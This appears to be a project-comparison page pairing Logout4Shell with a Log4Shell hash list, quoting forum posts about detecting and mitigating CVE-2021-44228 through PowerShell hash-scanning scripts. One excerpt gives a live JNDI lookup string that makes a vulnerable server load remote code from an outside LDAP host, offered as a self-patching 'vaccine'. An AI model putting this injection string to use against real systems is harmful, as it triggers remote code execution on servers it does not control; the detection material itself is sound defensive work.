Logout4Shell
CVE-2021-44228-Log4Shell-Hashes
Logout4Shell | CVE-2021-44228-Log4Shell-Hashes | |
---|---|---|
34 | 11 | |
1,727 | 153 | |
- | - | |
2.6 | 0.0 | |
over 2 years ago | over 2 years ago | |
Java | ||
MIT License | - |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
Logout4Shell
-
Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
-
Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
-
Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
-
I heard you can just inject your server with hydroxychloroquine
Yup
-
Patching Log4j
This is actually a thing
-
Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
-
Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
-
Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
CVE-2021-44228-Log4Shell-Hashes
-
Powershell Script to check for Log4j Vulnerability
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $vulnerablesums = -split $(Invoke-WebRequest https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/raw/main/sha256sums.txt -UseBasicParsing).content | ? {$_.length -eq 64} $localsums = $Null $DriveList = (Get-PSDrive -PSProvider FileSystem).Root ForEach($Drive In $DriveList) { $localfile=(get-childitem $Drive log4j*.jar -file -Recurse -erroraction silentlycontinue | Get-ItemProperty).DirectoryName $localsums=(get-childitem $Drive log4j*.jar -file -Recurse -erroraction silentlycontinue | Get-FileHash).hash ($localsums -and (compare-object -ReferenceObject $vulnerablesums -DifferenceObject $localsums -IncludeEqual -ErrorAction SilentlyContinue).SideIndicator -eq "==") Write-Host $localfile }
-
How to detect the Log4Shell vulnerability with Powershell
-split (Invoke-WebRequest https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/raw/main/sha256sums.txt -UseBasicParsing).content | Where-Object {$_.length -eq 64}
- The Log4j Vulnerability Explained : Detection and Exploitation | TryHackMe Log4j
-
Log4j PDQ scan profile
#messy alphabet array [char[]]$driveletters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #foreach letter of the alphabet foreach($driveletter in $driveletters) { #formats the variable because i'm bad $drive= "$driveletter"+":\" #if the drive letter exists and isn't just assigned to a dvd rive if(test-path $drive){ #creates the path to check for log4j files $log4jpath = "$drive"+"log4j*.jar" ###Get Vulnerable Hashes $vulnerablesums = -split $(Invoke-WebRequest https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/raw/main/sha256sums.txt -UseBasicParsing).content | Where-Object {$_.length -eq 64} ###Get Hash and file location for each log4j*.jar file $localsums = get-childitem $log4jpath -file -Recurse | Select-Object Fullname, @{Name = "Hash"; Expression = {(Get-FileHash -Path $_.FullName).Hash}} ###If Log4j*.jar is found compare hash to bad hashes if(-not($null -eq $localsums)){$BadHash = Compare-Object -ReferenceObject $vulnerablesums -DifferenceObject $localsums.Hash -ExcludeDifferent -IncludeEqual -ErrorAction SilentlyContinue} ###Return FileLocation and hash for each vulnerable result foreach($Entry in $localsums){ if($BadHash.InputObject -contains $Entry.Hash){ $Entry } } } }
-
Need some help with a log4j scanner
if you want to match for a single word inside the path like the programs folder name use -notmatch. $vulnerablesums = -split $(Invoke-WebRequest https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/raw/main/sha256sums.txt -UseBasicParsing).content |Where-Object { $_.length -eq 64 } $localsums = (get-childitem -path "C:\" -file "log4j*.jar" -Recurse |Where-Object {$_.DirectoryName -notmatch "YOUR APPNAME"} | Get-FileHash).hash ($localsums -and (compare-object -ReferenceObject $vulnerablesums -DifferenceObject $localsums -IncludeEqual -ErrorAction SilentlyContinue).SideIndicator -eq "==") `
- finding systems with vulnerable log4j2 binaries
-
SCCM scan for Log4J
I think you mean vulnerable, but you can feed the jar file into get-filehash and see if it matches one listed as vulnerable here: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha256sums.txt
-
2021-12-10 - Cool Query Friday - Hunting Apache Log4j CVE-2021-44228 (Log4Shell)
How would i create a query to do a mass hash lookup per the log4j version hashes found here: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
-
RCE 0-day exploit found in log4j, a popular Java logging package
For example search for the vulnerable files: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
What are some alternatives?
grype - A vulnerability scanner for container images and filesystems
semgrep-rules - Semgrep rules registry
airsonic-advanced
Get-log4j-Windows.ps1 - Identifying all log4j components across all windows servers, entire domain, can be multi domain. CVE-2021-44228
interactsh - An OOB interaction gathering server and client library
apache-log4j-poc - Apache Log4j 远程代码执行
Apache Log4j 2 - Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
CVE-2021-44228_scanner - Scanners for Jar files that may be vulnerable to CVE-2021-44228
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC
active-scan-plus-plus - ActiveScan++ Burp Suite Plugin